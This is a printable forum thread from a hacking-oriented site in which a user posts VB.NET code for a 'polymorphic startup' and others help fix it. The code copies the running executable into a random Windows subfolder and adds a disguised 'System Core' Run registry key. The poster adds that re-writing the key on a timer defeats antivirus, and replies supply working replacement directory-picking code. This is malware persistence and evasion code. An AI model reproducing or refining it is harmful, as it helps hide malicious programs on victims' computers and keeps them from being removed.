![]() |
|
Polymorph startup/Need help with one part - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework) +--- Thread: Polymorph startup/Need help with one part (/Thread-Polymorph-startup-Need-help-with-one-part) Pages:
1
2
|
Polymorph startup/Need help with one part - 1llusion - 01-18-2011 Hey all!!! Well, I made this polymorphic startup in VB.NET, sadly, its compatibile only with framework 3.0++ So... I'd need a little help: Full code: Code: Try
Dim URL As String = String.Empty
Dim rnd As New Random()
Dim dirCount As Integer = rnd.Next(100)
Dim appname As String = Path.GetFileName(Application.ExecutablePath)
Dim dirPath As String = "C:\WINDOWS"
Dim dirs = From folder In _
Directory.EnumerateDirectories(dirPath)
Dim getDirs As List(Of String) = New List(Of String)(dirs)
If Not dirCount > getDirs.Count Then
TextBox2.Text = getDirs(dirCount)
End If
If System.IO.File.Exists(TextBox2.Text & TextBox2.Text + ".exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, TextBox2.Text & TextBox2.Text + ".exe")
End If
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("System Core", TextBox2.Text & TextBox2.Text + ".exe")
regKey.Close()
Catch ex As Exception
End TryI have problem with: Code: Directory.EnumerateDirectories(dirPath)
Dim getDirs As List(Of String) = New List(Of String)(dirs)Thanks alot!!! ![]() Credits: To the unknown guy for the random dirrectory search. Everything else is by me ![]() PS: yes, the endless regs will make it look suspicious, but... if you make it in a timer, it will recover also, the av will get phucked
RE: Polymorph startup/Need help with one part - Coder-san - 01-18-2011 You can get a Random Directory either by: Code: Dim rnd As New Random()
Dim dirPath As String = Environ("windir")
Dim TheDirs() As String = IO.Directory.GetDirectories(dirPath)
Dim randomDirIndex As Integer = rnd.Next(UBound(TheDirs))
Dim getDirs As New List(Of String)
getDirs.AddRange(IO.Directory.GetDirectories(dirPath))
MsgBox(getDirs(randomDirIndex))Or by using the old DirectoryListBox (Add from .NET framework components) Code: Dim rnd As New Random()
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
dList.Path = Environ("windir") 'dList is the DirectoryListBox
Dim randomDirIndex As Integer = rnd.Next(dList.DirListCount)
MsgBox(dList.DirList(randomDirIndex))Both will work with .NET 2.0 RE: Polymorph startup/Need help with one part - 1234hotmaster - 01-18-2011 and yet... i don't understand a word from the codes above :rip: RE: Polymorph startup/Need help with one part - 1llusion - 01-18-2011 (01-18-2011, 02:42 PM)Coder-san Wrote: You can get a Random Directory either by: Awesome thanks!!!just a question, if I wanted to scan all folders in C I would do: Code: Dim dirPath As String = Environ("C:\")Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs? ![]() Thanks alot!!!! RE: Polymorph startup/Need help with one part - Coder-san - 01-18-2011 (01-18-2011, 03:57 PM)1llusion Wrote: Awesome You have a good logic, but Environment variables don't work that way. There are about 33-34 of them in Windows OS by default, and additional ones are provided by .NET framework. Using this code you can list all Environment Variables in an OS Code: Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim strings As String = String.Empty, i As Integer
For i = 1 To 40
strings &= i & vbTab & Environ(i) & vbCrLf
Next
IO.File.WriteAllText("C:\new.txt", strings)
End SubIf you wanted to scan only directories in System partition then you can do Code: Dim dirPath As String = Environ("SystemDrive")Quote:Also, if I understood the code right, it lists just first dirrectories, how would you list even all subs? Check this out: [VB.Net] Making a cool File/Directory Search (01-18-2011, 03:17 PM)1234hotmaster Wrote: and yet... i don't understand a word from the codes above :rip: On second look it can be shortened to this Quote: Dim dirPath As String = Environ("windir") 'To get the Windows OS Directory in a machine, if yours is default then it would get C:\windows RE: Polymorph startup/Need help with one part - 1llusion - 01-18-2011 Awesome!!! Thanks alot!!!
RE: Polymorph startup/Need help with one part - 1234hotmaster - 01-19-2011 tnx alot now i got what you 2 meant XD btw how many enivron's are there and how many you know? o-o RE: Polymorph startup/Need help with one part - Coder-san - 01-19-2011 It was quite helpful in VB6, but now .NET provides that info and a lot more, easily. The way to find out all of them is in that post too. RE: Polymorph startup/Need help with one part - 1234hotmaster - 01-19-2011 oh ok tnx... seems VB6 was more complete then VB8 or VB10
RE: Polymorph startup/Need help with one part - Coder-san - 01-19-2011 It's the opposite actually, .NET provides more than everything you need to make some basic tool without using APIs, even more than 3-4 ways most of the times. In VB6 you have to use an API to even get the Visual style to work. |